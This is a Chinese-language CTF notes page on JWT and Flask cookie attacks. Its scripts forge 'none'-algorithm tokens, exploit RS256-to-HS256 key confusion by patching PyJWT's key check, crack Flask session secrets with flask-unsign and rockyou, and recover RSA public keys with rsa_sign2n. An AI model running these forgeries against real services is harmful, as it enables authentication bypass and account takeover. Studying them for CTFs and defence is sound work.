jwt 特性 jwt 原理就是 base64 编码,但 Base64 有三个字符+、/和=,在 URL 里面有特殊含义,所以要被替换掉:=被省略、+替换成-,/替换成_。 所以如果有废弃的 cookie 被直接匹配过滤,可以试试替换增加无用字符,绕过 waf。
自己加密 jwt none import jwtheader = { "alg" : "none" , "typ" : "JWT" } content = { "iss" : "admin" , "iat" : 1667822180 , "exp" : 1667829380 , "nbf" : 1667822180 , "sub" : "admin" , "jti" : "237410127e2551647730b97941cdcae5" } token = jwt.encode( content, "" , algorithm="none" , headers=header ) print (token)
HS256 注释掉 jwt/algorithms.py 中的 raise InvalidKeyError
import jwtpublic = open ("./public.pem" , "r" ).read() header = {"alg" : "HS256" , "typ" : "JWT" } payload = {"user" : "admin" , "iat" : 1667825552 } token = jwt.encode( payload=payload, key=public, algorithm="HS256" , headers=header ) print (token)
RS256 注释掉 jwt/algorithms.py 中的 raise InvalidKeyError
import jwtprivate = open ("./private.key" , "r" ).read() header = {"alg" : "RS256" , "typ" : "JWT" } payload = {"user" : "admin" , "iat" : 1667825552 } token = jwt.encode( payload=payload, key=private, algorithm="RS256" , headers=header ) print (token)
flask_unsign unsign unsign 带自动爆破功能
flask-unsign --unsign --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
decode 单纯解密,支持以.开头的 jwt 密钥
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8' --secret 'CHANGEME'
encode 用给定的字符串和密钥做 jwt 加密
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
利用字典爆破 import itertoolsimport flask_unsignfrom flask_unsign.helpers import wordlistimport timepath = "/var/CTF/wordlists/rockyou.txt" cookie = ".eJyrVkrJTMzJT48vLkktULIy1lFKS01NiU_OL80rUbIyNYXyC1LzUjLz0pWs0hJzilOBgjmJ6fFJJXkwhYa1AKtkGZI.aNJdCg.7SHgeZTIgC9kMNz0BIjGVgVV7NI" obj = flask_unsign.Cracker(value=cookie) before = time.time() with wordlist(path, parse_lines=False ) as iterator: obj.crack(iterator) secret = "" if obj.secret: secret = obj.secret.decode() print (f"Found SECRET_KET {secret} in {time.time()-before} seconds" )
RS256 转成 HS256 时的漏洞 利用工具 rsa_sign2n,这个用到了 dockerhttps://github.com/nu11secur1ty/rsa_sign2n 在 docker 里运行
python3 jwt_forgery.py cookie1 cookie2
将出现的公钥一个个在题目里尝试直到通过 jwt 验证。 比如 b305dd712d5d2378_65537_pkcs1.pem 通过了认证
javascript 重新签名 jwt:
var jwt = require ("jsonwebtoken" );var fs = require ("fs" );var privateKey = fs.readFileSync ("./b305dd712d5d2378_65537_pkcs1.pem" );var token = jwt.sign ({ user : "admin" }, privateKey, { algorithm : "HS256" });console .log (token);
python 版本注意,因为 python 库的 jwt 最新版已经弃用了 pem 格式的公钥做为 HS256 的密钥 需要注释掉 jwt/algorithms.py 中的 raise InvalidKeyError 部分
def prepare_key (self, key: str | bytes ) -> bytes :key_bytes = force_bytes(key) return key_bytes
import jwtpublicKey = open ("./public.pem" , "rb" ).read() token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICIxIiwgImFkbWluIjogZmFsc2UsICJleHAiOiAxNzM0NjgyNDYyfQ.qnASkyTvWqYLn84Xa8i3e3uko6C1DfRpuPLHk4BIerM" print (publicKey)try : real = jwt.decode(token, publicKey, algorithms=["HS256" , "RS256" ]) print (real) except Exception as e: exit(e) ss = {"username" : "1" , "admin" : True } token = jwt.encode( ss, publicKey, algorithm="HS256" , ) print (token)try : real = jwt.decode(token, publicKey, algorithms=["HS256" , "RS256" ]) print (real) except Exception as e: exit(e)
感兴趣的话可以去参考极客大挑战 2024 的 jwt_pickle